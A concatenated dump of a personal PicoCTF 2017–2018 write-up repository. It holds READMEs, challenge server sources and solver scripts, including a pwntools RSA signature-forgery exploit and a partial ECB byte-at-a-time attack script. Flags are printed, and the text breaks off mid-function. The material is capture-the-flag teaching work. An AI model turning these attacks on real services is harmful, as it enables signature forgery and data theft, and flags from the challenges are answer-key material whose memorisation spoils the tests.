-------------------------------------------------------------------------------- /PicoCTF2017/much-ado/much_ado.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/much-ado/much_ado.c -------------------------------------------------------------------------------- /PicoCTF2017/much-ado/much_ado_reverser.c: -------------------------------------------------------------------------------- 1 | 2 | # include 3 | # include 4 | 5 | int main(void){ 6 | int N = 26; 7 | printf("Give me %d characters", N); 8 | // 1. Need to read the inputs into an array of integers 9 | // 2. Need to initialize an array of numeric outputs 10 | // 3. Need to output the numeric outputs as characters 11 | int outputs[N]; 12 | int inputs[N]; 13 | for (int i = 0; i < N; i++){ 14 | outputs[i] = getc(stdin); 15 | // printf("outputs[%d] = %d\n",i,outputs[i]); 16 | } 17 | 18 | 19 | for (int i= 0; i < N; i++){ 20 | inputs[i] = 0; 21 | } 22 | inputs[N-1] = outputs[0]; // base case 23 | for (int i = 1; i < N; i++){ 24 | int tmp = outputs[i] + 32 - inputs[N-i]; 25 | printf("i = %d\n", i); 26 | printf("tmp = %d\n", tmp); 27 | if (tmp < 32){ 28 | tmp += 96; 29 | } 30 | else if (tmp > 128){ 31 | tmp -= 96; 32 | } 33 | inputs[N-i-1] = tmp; 34 | } 35 | for (int i = 0; i < N; i ++){ 36 | printf("inputs[%d] = %d\n",i,inputs[i]); 37 | } 38 | for (int i = 0; i < N; i++){ 39 | putc(inputs[i], stdout); 40 | } 41 | return 0; 42 | } 43 | // Its@MidSuMm3rNights3xpl0!t -------------------------------------------------------------------------------- /PicoCTF2017/much-ado/spl.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/much-ado/spl.h -------------------------------------------------------------------------------- /PicoCTF2017/puzzlingly-accountable/Forensics_4_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/puzzlingly-accountable/Forensics_4_solved.png -------------------------------------------------------------------------------- /PicoCTF2017/puzzlingly-accountable/README.md: -------------------------------------------------------------------------------- 1 | # Puzzlingly Accountable 2 | 3 | This 100-point forensics problem is the lowest-point problem in Level 4 of PicoCTF2017. The problem contains a PCAP file that apparently is a capture of a spider being used to repeatedly retrieve content from a Web application. Opening the PCAP file in Wireshark indicates that most of the traffic volume is TCP traffic, and particularly HTML GET requests. Filtering by TCP traffic and scrolling through the results shows that a few pages are from a directory containing the word `secret` in it, and the images that have been downloaded are not linked to from the main `index.html` file. Quickly filtering using the keyword `tcp contains secret` yields four GET requests, and following the TCP stream for each request produces the data for four PNG files. Directly outputting the files using `File->Export` did not work for me, so I simply looked up the hexadecimal bytes associated with the magic header for a PNG file, directly copied each of the four sets of bytes into a text file, and wrote a small Python program to write each byte string out to a file. Opening each of the PNG files then revealed 1/4 of a hexadecimal code, and positioning the files together like a jigsaw puzzle then revealed the flag. Anyone working on this problem on their own should keep in mind that the number 1 looks like the number 7 in the image files. 4 | -------------------------------------------------------------------------------- /PicoCTF2017/puzzlingly-accountable/data.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/puzzlingly-accountable/data.pcap -------------------------------------------------------------------------------- /PicoCTF2017/smallsign/README.md: -------------------------------------------------------------------------------- 1 | # Smallsign 2 | 3 | This was a level 4 cryptography problem for PicoCTF 2017. 4 | 5 | ### Problem Description 6 | 7 | This is a challenge to forge an RSA signature using a chosen plaintext attack. The player is given `N` (a 2048-bit number), `e`, and 60 seconds to forge the signature of a challenge message, which is a 32-bit long. The player can submit as many of their own messages as desired before time runs out, each of which will be signed with the server's key. The player then gets the flag if he or she is able to correctly submit to the server the signature of the challenge. [Here's](./smallsign.py) the code that was running on the server. 8 | 9 | ### Solution 10 | 11 | RSA digital signatures are calculated as `m^d mod N`, where `m` denotes the message, `d` is the private key, `^` denotes exponentiation and `N` is `p*q` in the public key. The solution to this problem stems from the fact that if I factor `m` into its prime factors, then I can take each of those prime factors `m'`, compute `m'^d mod N`, and then multiply those signatures together to get the signature of `m` because `(a*b)^d mod N = a^d*b^d mod N`. The only catch here is that I can only get a set of signatures _before_ knowing the challenge number `m`. To solve the problem, I take advantage of the fact that a large number of numbers out there are smooth, meaning that they are a product of relatively small primes. 12 | 13 | A `B`-smooth number is a product of primes less than `B`. Crandall and Pomerance (_Prime Numbers: A Computational Perspective, 2nd Edition_: 264-265) show that the probability that an integer _x_ in the range `[0,n]` is `B`-smooth can be approximated by `u^(-u)`, where `u = ln(n)/ln(B)`. In the present case, with `n=2^32`, then if `B=1300` then the probability that a given integer less than `2^32` will be `B`-smooth is about `0.03`. That means that I can start by calculating all prime numbers less than 1300 with the [Sieve of Eratosthenes](https://iamrafiul.wordpress.com/2013/04/28/sieve-of-eratosthenes-in-python/), sign all 211 of them (a process that takes much less than a minute), then ask for a challenge number. Every 33 or so attempts, I would expect to correctly forge a signature. 14 | 15 | [Here's](./exploit-smallsign.py) the Python code that implements the solution. 16 | 17 | Here's the flag: 18 | 19 | ![./smallsign_exploited.png](./smallsign_exploited.png) 20 | 21 | Hooray! 22 | 23 | ![./smallsign_solved.png](./smallsign_solved.png) 24 | 25 | 26 | ### Comparison with Other Approaches 27 | 28 | [Valar Dragon](https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/Small_Sign/Small_Sign.html) takes the same approach and puzzles through what the optimum value of `B` would be to arrive at a solution as efficiently as possible. They arrive at a differential equation that they were unable to solve. Pretty interesting. 29 | -------------------------------------------------------------------------------- /PicoCTF2017/smallsign/exploit-smallsign.py: -------------------------------------------------------------------------------- 1 | # exploit-smallsign.py 2 | # Sudoite 3 | 4 | # 1. Find all primes less than 2^16 5 | # 2. Get their signatures 6 | # 3. Get challenge number 7 | # 4. Prime factor challenge number 8 | # 5. Multiply signatures^e mod N 9 | # 6. Submit result 10 | 11 | from pwn import * 12 | import time 13 | import random 14 | from fractions import gcd 15 | import primefac # https://pypi.python.org/pypi/primefac 16 | # Note primefac is incompatible with Python 3. 17 | from gmpy2 import mpz, mul 18 | 19 | debug = True 20 | local = True 21 | # 1. Find all primes less than B 22 | # https://iamrafiul.wordpress.com/2013/04/28/sieve-of-eratosthenes-in-python/ 23 | # Modified because original code is wrong 24 | def sieve(n): 25 | not_prime = set() 26 | prime = set() 27 | for i in range(2, n+1): 28 | if i not in not_prime: 29 | prime.add(i) 30 | for j in range(i*2, n+1, i): 31 | not_prime.add(j) 32 | return prime 33 | 34 | 35 | def get_public_key(): 36 | #print("In get_public_key") 37 | #print(p.recv()) 38 | print(p.recvuntil("N: ")) 39 | N = int(p.recvuntil("\n"),10) 40 | 41 | p.recvuntil("e: ") 42 | e = int(p.recvuntil("\n"),10) 43 | if debug: 44 | print("N = " + str(N)) 45 | print("e = " + str(e)) 46 | return N, e 47 | 48 | 49 | def get_signature(i): 50 | p.sendline(str(i)) 51 | p.recvuntil("Signature: ") 52 | S = mpz(int(p.recvuntil("\n"), 10)) 53 | return S 54 | 55 | def get_challenge(): 56 | p.sendline("-1") 57 | p.recvuntil("Challenge: ") 58 | challenge = int(p.recvuntil("\n"),10) 59 | return challenge 60 | 61 | # https://comeoncodeon.wordpress.com/2010/09/18/pollard-rho-brent-integer-factorization/ 62 | # Abandoned this because it doesn't work well for small numbers, easier just to use primefac 63 | def brent(N): 64 | if N%2==0: 65 | return 2 66 | y,c,m = random.randint(1, N-1),random.randint(1, N-1),random.randint(1, N-1) 67 | g,r,q = 1,1,1 68 | while g==1: 69 | x = y 70 | for i in range(r): 71 | y = ((y*y)%N+c)%N 72 | k = 0 73 | while (k1: 86 | break 87 | return g 88 | 89 | def get_prime_factors(primes, product): 90 | if product == 1: 91 | return [] 92 | elif product in primes: 93 | return [product] 94 | else: 95 | factor = brent(product) 96 | if factor == product: 97 | if debug: 98 | print("In get_prime_factors: got a prime factor that's too big. Factor = " + str(factor)) 99 | return [product] 100 | elif factor == 1: 101 | return [product] 102 | return [] + get_prime_factors(primes, factor) + get_prime_factors(primes, product // factor) 103 | 104 | B = 1300 105 | primes = sieve(B) 106 | signatures = {} 107 | done = False 108 | attempts = 0 109 | 110 | while not done: 111 | if local: 112 | p = process("python2 ./smallsign.py", shell=True) 113 | time.sleep(1) 114 | else: 115 | p = remote("shell2017.picoctf.com", 10650) 116 | if debug: 117 | start_time=time.time() 118 | N, e = get_public_key() 119 | for prime in primes: 120 | signatures[prime] = get_signature(prime) 121 | if debug: 122 | elapsed_time = time.time() - start_time 123 | print("received " + str(len(signatures)) + " signatures.") 124 | print("elapsed time: " + str(elapsed_time)) 125 | # Get challenge number 126 | challenge = get_challenge() 127 | # for testing 128 | #challenge = 1147746600 # 2*2*2*3*3*5*5*7*7*7*11*13*13 129 | if debug: 130 | print("challenge: " + str(challenge)) 131 | factor_dict = primefac.factorint(challenge) 132 | print("output of primefac: " + str(factor_dict)) 133 | is_smooth = not(any(factor > (B-1) for factor in factor_dict.keys())) 134 | if not(is_smooth): 135 | p.shutdown() 136 | sleep(1) 137 | attempts += 1 138 | print("Shutting down. Attempts: " + str(attempts)) 139 | continue 140 | S = mpz(1) 141 | for key in factor_dict.keys(): 142 | for j in range(factor_dict[key]): 143 | S = mul(S, signatures[key]) % N 144 | print("challenge: " + str(challenge)) 145 | print("candidate signature: " + str(S)) 146 | p.sendline(str(S)) 147 | p.interactive() 148 | -------------------------------------------------------------------------------- /PicoCTF2017/smallsign/smallsign.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python -u 2 | 3 | from Crypto.PublicKey import RSA 4 | import random 5 | import signal 6 | 7 | key = RSA.generate(2048) 8 | flag = open("./flag.txt").read() 9 | 10 | print("You have 60 seconds to forge a signature! Go!") 11 | # In 60 seconds, deliver a SIGALRM and terminate 12 | signal.alarm(60) 13 | 14 | print("N: " + str(key.n)) 15 | print("e: " + str(key.e)) 16 | 17 | ''' 18 | sig2 = key.sign(2, None) 19 | print("Signature of 2:" + str(sig2[0])) 20 | sig4 = key.sign(4, None) 21 | print("Signature of 4:" + str(sig4[0])) 22 | forge = sig2[0] * sig2[0] % key.n 23 | print("Forged signature of 4:" + str(forge)) 24 | ''' 25 | 26 | while True: 27 | m = long(raw_input("Enter a number to sign (-1 to stop): ")) 28 | if m == -1: 29 | break 30 | sig = key.sign(m, None) 31 | print("Signature: " + str(sig[0])) 32 | 33 | challenge = long(random.randint(0, 2**32)) 34 | #challenge = long(random.randint(0, 2**7)) 35 | 36 | print("Challenge: " + str(challenge)) 37 | s = long(raw_input("Enter the signature of the challenge: ")) 38 | print("s class = " + str(s.__class__)) 39 | if key.verify(challenge, (s, None)): 40 | print("Congrats! Here is the flag:" + flag) 41 | else: 42 | print("Nope, that's wrong!") 43 | -------------------------------------------------------------------------------- /PicoCTF2017/smallsign/smallsign_exploited.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/smallsign/smallsign_exploited.png -------------------------------------------------------------------------------- /PicoCTF2017/smallsign/smallsign_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/smallsign/smallsign_solved.png -------------------------------------------------------------------------------- /PicoCTF2018/RE/assembly-4/README.md: -------------------------------------------------------------------------------- 1 | # Assembly 4 2 | 3 | This is a 550-point reversing problem from Pico CTF 2018. 4 | 5 | ### Problem Description 6 | 7 | Can you find the flag using the following assembly [source](./comp.nasm)? WARNING: It is VERY long... 8 | 9 | ### Solution 10 | 11 | The super-cheap solution is to just use `Ghidra` to lift the whole thing up to `C`. But this problem came out before Ghidra was open source, so I think I'll work with the assembly directly unless the hint tells me not to. 12 | 13 | Okay, it's 1000 lines of code, and the hint says "don't reverse this directly." Time to decompile this. I could run the code in C and step through it with `gdb`, that seems legitimate. Actually first I'll just see if `Ghidra` has a feature that lets me decompile the raw assembly. 14 | 15 | Second idea: I'll use `nasm` to compile the file into a binary and then just run it. 16 | 17 | First, just for fun I wanted to see if I can just read this file with `Ghidra`. Indeed, `Ghidra` helps me out quite a bit. Here's `sub`: 18 | 19 | ``` 20 | int sub(char param_1,int param_2) 21 | 22 | { 23 | int iVar1; 24 | int iVar2; 25 | 26 | iVar2 = (((int)param_1 + -0x30) - param_2) % 0x4e; 27 | iVar1 = iVar2 + 0x30; 28 | if (iVar2 < 0) { 29 | iVar1 = iVar2 + 0x7e; 30 | } 31 | return iVar1; 32 | } 33 | ``` 34 | 35 | and `add`: 36 | 37 | ``` 38 | int add(char param_1,int param_2) 39 | 40 | { 41 | return ((int)param_1 + -0x30 + param_2) % 0x4e + 0x30; 42 | } 43 | ``` 44 | 45 | and `xor`: 46 | 47 | ``` 48 | int xor(char param_1,uint param_2) 49 | 50 | { 51 | return (int)((int)param_1 - 0x30U ^ param_2 & 7) % 0x4e + 0x30; 52 | } 53 | ``` 54 | 55 | Okay, there are some writes that happen at the end: 56 | 57 | ``` 58 | __buf = &local_4c; 59 | do { 60 | write(1,__buf,1); 61 | __buf = __buf + 2; 62 | } while (&local_20 != __buf); 63 | __buf_00 = &local_4b; 64 | do { 65 | write(1,__buf_00,1); 66 | __buf_00 = __buf_00 + 2; 67 | } while (local_1f != __buf_00); 68 | return 0; 69 | ``` 70 | 71 | So, it looks like characters are getting stored in these local variables, i.e. on the stack. And then the program just goes ahead and writes them off the stack: first all the even-numbered locals, and then all the odd-numbered locals. Looking at the first few assignments of the locals, we get: 72 | 73 | ``` 74 | local_14 = ¶m_1; 75 | iVar1 = sub('x',0x1d); 76 | iVar1 = (int)(char)iVar1 + 8; 77 | iVar1 = (int)(char)((char)iVar1 + (char)(iVar1 / 0x4e) * -0x4e + '0') + -5; 78 | local_4c = (char)iVar1 + (char)(iVar1 / 0x4e) * -0x4e + '0'; 79 | local_4a = 0x69; 80 | iVar1 = sub('9',0x1c); 81 | iVar1 = sub((char)iVar1 % 'N' + '0',0x38); 82 | local_48 = (undefined)iVar1; 83 | iVar1 = sub('s',0x20); 84 | iVar1 = sub((char)iVar1,0x32); 85 | iVar1 = (int)(char)iVar1 + -0x30; 86 | local_46 = (char)iVar1 + (char)(iVar1 / 0x4e) * -0x4e + '0'; 87 | local_44 = 0x43; 88 | iVar1 = sub('Q',0x1a); 89 | iVar1 = (int)(char)iVar1 + -0x13; 90 | local_42 = (char)iVar1 + (char)(iVar1 / 0x4e) * -0x4e + '0'; 91 | local_40 = 0x46; 92 | local_3e = 0x7b; 93 | ``` 94 | 95 | `local_4a` is the second local to get printed, and it's "i"; `local_44` is the fifth, and it's a "C"; `local_40` and `local_3e` are the seventh and eighth and are "F{". So no doubt this is printing "picoCTF{". Great! `local_14`, the input parameter, appears to never get used, so it could be anything. That was helpful, time to move on to the second idea: compile and run this thing, probably in `gdb` so I can step through it. 96 | 97 | To compile and link an ELF binary, I use: 98 | 99 | ``` 100 | nasm -f elf comp.nasm 101 | ld -m elf_i386 comp.o -o comp -lc 102 | ``` 103 | I get one warning: 104 | ``` 105 | ld: warning: cannot find entry symbol _start; defaulting to 00000000080481c0 106 | ``` 107 | 108 | The resulting file, oddly, shows up as a file but I can't exeute it with `bash`. Let me try loading it with `gcc`: 109 | 110 | ``` 111 | nasm -f elf comp.nasm 112 | gcc -m32 comp.o -o comp2 113 | ``` 114 | 115 | First let me just try running `comp2`. Doing so gives me: 116 | 117 | `picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_3205858729}` 118 | 119 | Great! No need to use `gdb` at all. 120 | 121 | ### Comparison to Other Approaches 122 | 123 | The other two write-ups on CTF Time indeed just go ahead and compile and run the assembly. 124 | -------------------------------------------------------------------------------- /PicoCTF2018/RE/keygenme-1/activate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/RE/keygenme-1/activate -------------------------------------------------------------------------------- /PicoCTF2018/RE/keygenme-1/check_valid_char.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/RE/keygenme-1/check_valid_char.png -------------------------------------------------------------------------------- /PicoCTF2018/RE/keygenme-1/check_valid_key.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/RE/keygenme-1/check_valid_key.png -------------------------------------------------------------------------------- /PicoCTF2018/RE/keygenme-1/reverse-keygen-me.py: -------------------------------------------------------------------------------- 1 | #reverse-activate.py 2 | 3 | # Letter must be 0-9 or A-Z, not checked here 4 | def order(letter): 5 | if letter in '0123456789': 6 | return ord(letter)-0x30 7 | else: 8 | #print("order " + letter + " = " + str(ord(letter)-0x37)) 9 | return ord(letter)-0x37 10 | 11 | def get_validation_number(activation_key): 12 | result = 0 13 | if len(activation_key) != 16: 14 | print("Error: activation key the wrong length.") 15 | exit(0) 16 | # Use all letters except last one here 17 | for i in range(0,15): 18 | result += (i+1)*(order(activation_key[i])+1) 19 | return result 20 | 21 | def calculate_last_hex_letter(checksum): 22 | c = checksum * 954437177 >> 32 23 | print("c = " + hex(c)) 24 | c_prime = (c - c%8 + (c >> 3))*4 25 | print("c' = " + hex(c_prime)) 26 | result = checksum-c_prime 27 | print("result = " + hex(result)) 28 | 29 | print(str(get_validation_number('ABCDEFABCDEFABCD'))) 30 | 31 | vn = get_validation_number('ABCDEFABCDEFABCD') 32 | calculate_last_hex_letter(vn) 33 | -------------------------------------------------------------------------------- /PicoCTF2018/RE/keygenme-1/validate_key.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/RE/keygenme-1/validate_key.png -------------------------------------------------------------------------------- /PicoCTF2018/RE/special-pw/assembly1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/RE/special-pw/assembly1.png -------------------------------------------------------------------------------- /PicoCTF2018/RE/special-pw/assembly2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/RE/special-pw/assembly2.png -------------------------------------------------------------------------------- /PicoCTF2018/RE/special-pw/assembly3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/RE/special-pw/assembly3.png -------------------------------------------------------------------------------- /PicoCTF2018/RE/special-pw/special_pw.S: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .bits 32 3 | 4 | .global main ; int main(int argc, char **argv) 5 | 6 | main: 7 | push ebp 8 | mov ebp,esp 9 | sub esp,0x10 10 | mov DWORD PTR [ebp-0xc],0x0 11 | mov eax,DWORD PTR [ebp+0xc] 12 | mov eax,DWORD PTR [eax+0x4] 13 | mov DWORD PTR [ebp-0x4],eax 14 | jmp part_b 15 | part_a: 16 | add DWORD PTR [ebp-0xc],0x1 17 | add DWORD PTR [ebp-0x4],0x1 18 | part_b: 19 | mov eax,DWORD PTR [ebp-0x4] 20 | movzx eax,BYTE PTR [eax] 21 | test al,al 22 | jne part_a 23 | mov DWORD PTR [ebp-0x8],0x0 24 | jmp part_d 25 | part_c: 26 | mov eax,DWORD PTR [ebp+0xc] 27 | add eax,0x4 28 | mov edx,DWORD PTR [eax] 29 | mov eax,DWORD PTR [ebp-0x8] 30 | add eax,edx 31 | mov DWORD PTR [ebp-0x4],eax 32 | mov eax,DWORD PTR [ebp-0x4] 33 | movzx eax,BYTE PTR [eax] 34 | xor eax,0xf8 35 | mov edx,eax 36 | mov eax,DWORD PTR [ebp-0x4] 37 | mov BYTE PTR [eax],dl 38 | mov eax,DWORD PTR [ebp-0x4] 39 | movzx eax,WORD PTR [eax] 40 | ror ax,0xd 41 | mov edx,eax 42 | mov eax,DWORD PTR [ebp-0x4] 43 | mov WORD PTR [eax],dx 44 | mov eax,DWORD PTR [ebp-0x4] 45 | mov eax,DWORD PTR [eax] 46 | rol eax,0xb 47 | mov edx,eax 48 | mov eax,DWORD PTR [ebp-0x4] 49 | mov DWORD PTR [eax],edx 50 | add DWORD PTR [ebp-0x8],0x1 51 | part_d: 52 | mov eax,DWORD PTR [ebp-0xc] 53 | sub eax,0x3 54 | cmp eax,DWORD PTR [ebp-0x8] 55 | jg part_c 56 | mov eax,DWORD PTR [ebp+0xc] 57 | mov eax,DWORD PTR [eax+0x4] 58 | mov DWORD PTR [ebp-0x4],eax 59 | mov DWORD PTR [ebp-0x10],0x1402234 60 | jmp part_f 61 | part_e: 62 | mov eax,DWORD PTR [ebp-0x4] 63 | movzx edx,BYTE PTR [eax] 64 | mov eax,DWORD PTR [ebp-0x10] 65 | movzx eax,BYTE PTR [eax] 66 | cmp dl,al 67 | je part_k 68 | mov eax,0x0 69 | jmp part_h 70 | part_k: 71 | add DWORD PTR [ebp-0x4],0x1 72 | add DWORD PTR [ebp-0x10],0x1 73 | part_f: 74 | mov eax,DWORD PTR [ebp-0x10] 75 | movzx eax,BYTE PTR [eax] 76 | test al,al 77 | jne part_e 78 | mov eax,DWORD PTR [ebp+0xc] 79 | add eax,0x4 80 | mov eax,DWORD PTR [eax] 81 | mov edx,DWORD PTR [ebp-0x10] 82 | mov ecx,0x1402234 83 | sub edx,ecx 84 | add eax,edx 85 | movzx eax,BYTE PTR [eax] 86 | test al,al 87 | je part_g 88 | mov eax,0x0 ; LOGIN_FAILED 89 | jmp part_h 90 | part_g: 91 | mov eax,0x1 ; LOGIN_SUCCESS 92 | part_h: 93 | leave 94 | ret 95 | 96 | 97 | 98 | 01402234: 7b 18 a6 34 d9 3c 2d a3 ff ce 86 ab 92 fb 9a 42 |{..4.<-........B| 99 | 01402244: 8b 32 a3 aa fb 96 8a 3b 42 a3 fa 86 82 bb 26 c3 |.2.....;B.....&.| 100 | 01402254: ba 0e 32 ca ea 63 0c 5b 00 |..2..c.[.| 101 | 102 | 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/MagicPaddingOracle/decryption.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/MagicPaddingOracle/decryption.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/MagicPaddingOracle/decryption_with_guess_byte.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/MagicPaddingOracle/decryption_with_guess_byte.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/MagicPaddingOracle/encryption.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/MagicPaddingOracle/encryption.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/MagicPaddingOracle/got_local_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/MagicPaddingOracle/got_local_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/MagicPaddingOracle/got_remote_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/MagicPaddingOracle/got_remote_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/MagicPaddingOracle/pkcs7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | import os 3 | import json 4 | import sys 5 | import time 6 | 7 | from Crypto.Cipher import AES 8 | 9 | cookiefile = open("cookie", "r").read().strip() 10 | flag = open("flag", "r").read().strip() 11 | key = open("key", "r").read().strip() 12 | 13 | welcome = """ 14 | Welcome to Secure Encryption Service version 1.65 15 | """ 16 | def pad(s): 17 | return s + (16 - len(s) % 16) * chr(16 - len(s) % 16) 18 | 19 | def isvalidpad(s): 20 | return ord(s[-1])*s[-1:]==s[-ord(s[-1]):] 21 | 22 | def unpad(s): 23 | return s[:-ord(s[len(s)-1:])] 24 | 25 | def encrypt(m): 26 | IV="This is an IV456" 27 | cipher = AES.new(key.decode('hex'), AES.MODE_CBC, IV) 28 | return IV.encode("hex")+cipher.encrypt(pad(m)).encode("hex") 29 | 30 | def decrypt(m): 31 | cipher = AES.new(key.decode('hex'), AES.MODE_CBC, m[0:32].decode("hex")) 32 | return cipher.decrypt(m[32:].decode("hex")) 33 | 34 | 35 | # flush output immediately 36 | sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0) 37 | print welcome 38 | print "Here is a sample cookie: " + encrypt(cookiefile) 39 | 40 | # Get their cookie 41 | print "What is your cookie?" 42 | cookie2 = sys.stdin.readline() 43 | # decrypt, but remove the trailing newline first 44 | cookie2decoded = decrypt(cookie2[:-1]) 45 | 46 | if isvalidpad(cookie2decoded): 47 | d=json.loads(unpad(cookie2decoded)) 48 | print "username: " + d["username"] 49 | print "Admin? " + d["is_admin"] 50 | exptime=time.strptime(d["expires"],"%Y-%m-%d") 51 | if exptime > time.localtime(): 52 | print "Cookie is not expired" 53 | else: 54 | print "Cookie is expired" 55 | if d["is_admin"]=="true" and exptime > time.localtime(): 56 | print "The flag is: " + flag 57 | else: 58 | print "invalid padding" 59 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/MagicPaddingOracle/sample_interaction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/crypto/MagicPaddingOracle/sample_interaction.png -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SpyFi/README.md: -------------------------------------------------------------------------------- 1 | # SpyFi 2 | 3 | This is a 300-point cyptography problem from PicoCTF 2018. Despite its relatively low points, it had only 573 solves (the cryptography challenges had few solves in general). 4 | 5 | ### Problem Description 6 | 7 | James Brahm, James Bond's less-franchised cousin, has left his secure communication with HQ running, but we couldn't find a way to steal his agent identification code. Can you? Conect with `nc 2018shell.picoctf.com 33893`. [Source](./spy_terminal_no_flag.py). 8 | 9 | ### Solution 10 | 11 | This problem makes use of AES in Electronic Code Book mode. That takes the same 16-byte blocks and encrypts them all with the same key, meaning that if two blocks of the plaintext are the same, the ciphertext will also be the same. I want to know the value of the `agent_code` variable, and I know the value of the plaintext immediately before that variable: "My agent identifying code is: ". I also can enter a `sitrep` string with a length that I control. That's enough to deduce the agent code one byte at a time. I start by placing the last 16 characters of "My agent identifying code is: " in the `sitrep` string, such that they appear exactly in a block of 16 characters (i.e. the index for the start of this string is a multiple of 16). Next, I compute the additional padding on the end of the `sitrep` string that is necessary in order for the choosing a `sitrep` string with a length that forces a block of the plaintext to contain the last 16 characters of "My agent identifying code is: " to _also_ exactly occupy a 16-byte block of the plaintext. I confirm that the offsets are correct by making sure that I observe two blocks of ciphertext that are exactly the same. 12 | 13 | Next, I remove a character of padding from the end of the `sitrep` string, so that one of the blocks of the plaintext will now contain the last 15 bytes of "My agent identifying code is: " followed by the first byte of `agent_code`. I then remove the last character from the last 16 characters of "My agent identifying code is: " in the `sitrep` string, and replace it with a guessed character. If my guess matches the first byte of `agent_code`, then I will once again get a ciphertext with two identical 16-byte blocks; otherwise, those two blocks will be different. I can repeatedly make guesses until I get the first byte of `agent_code`, then move on to the next byte, and so forth until I guess the entire string (which is of course the flag). 14 | 15 | [Here](./break-spify.py) is my exploit code, and here's the flag: 16 | 17 | ![./got_flag.png](./got_flag.png) 18 | 19 | ### Comparison to Other Approaches 20 | 21 | The other two write-ups on CTF Time used exactly the same approach that I did, although our Python code is of course different. 22 | -------------------------------------------------------------------------------- /PicoCTF2018/crypto/SpyFi/break-spify.py: -------------------------------------------------------------------------------- 1 | ### break-spify.py 2 | 3 | from pwn import * 4 | from time import sleep 5 | from math import floor 6 | # Helper functions to convert 64-bit addresses to strings and vice versa 7 | pck = lambda x: struct.pack('Q', x) 8 | unpck = lambda x: struct.unpack('Q', x) 9 | 10 | local = False 11 | if local: 12 | DELAY = 0.1 13 | else: 14 | DELAY = 0.35 15 | # Helper function, adds null bytes to the end of a hex address so we can pack it 16 | def append_nulls(str): 17 | n = len(str) 18 | for i in xrange(8 - n): 19 | str += '\x00' 20 | return str 21 | 22 | def spawn_process(local=True): 23 | if local: 24 | p=process('python2 ./spy_terminal_no_flag.py', shell=True) 25 | else: 26 | p = remote('2018shell2.picoctf.com', 33893) 27 | return p 28 | 29 | def get_block(message, bn): 30 | return message[bn*32:bn*32+32] 31 | 32 | def print_blocks(message): 33 | n_complete_blocks = int(floor(len(message)/32.0)) 34 | print("n_complete_blocks = " + str(n_complete_blocks)) 35 | for i in range(0,n_complete_blocks): 36 | print("m[" + str(i) + "] = " + get_block(message,i)) 37 | 38 | def print_two_blocks(message, b1, b2): 39 | print("printing two blocks: ") 40 | print(" m[" + str(b1) + "] = " + get_block(message,b1)) 41 | print(" m[" + str(b2) + "] = " + get_block(message,b2)) 42 | 43 | def blocks_are_equal(message, b1, b2): 44 | return(get_block(message,b1) == get_block(message,b2)) 45 | 46 | def check_letter(decrypted_flag, letter, local=True): 47 | 